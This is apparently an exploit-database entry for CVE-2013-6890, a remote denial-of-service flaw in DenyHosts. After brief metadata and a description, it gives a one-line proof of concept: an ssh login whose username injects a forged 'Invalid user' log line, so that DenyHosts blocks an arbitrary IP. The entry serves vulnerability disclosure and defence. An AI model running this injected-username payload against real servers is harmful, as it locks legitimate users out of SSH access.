DenyHosts - 'regex.py' Remote Denial of Service

Author: Helmut Grohne
type: dos
platform: linux
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date_added: 2013-12-19
date_updated: 2015-12-08
verified: 1
codes: CVE-2013-6890;OSVDB-101354
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source: https://www.securityfocus.com/bid/64478/info

DenyHosts is prone to a remote denial-of-service vulnerability.

Successfully exploiting this issue allows remote attackers to deny further SSH network access to arbitrary IP addresses, denying service to legitimate users.

ssh -l 'Invalid user root from 123.123.123.123' 21.21.21.21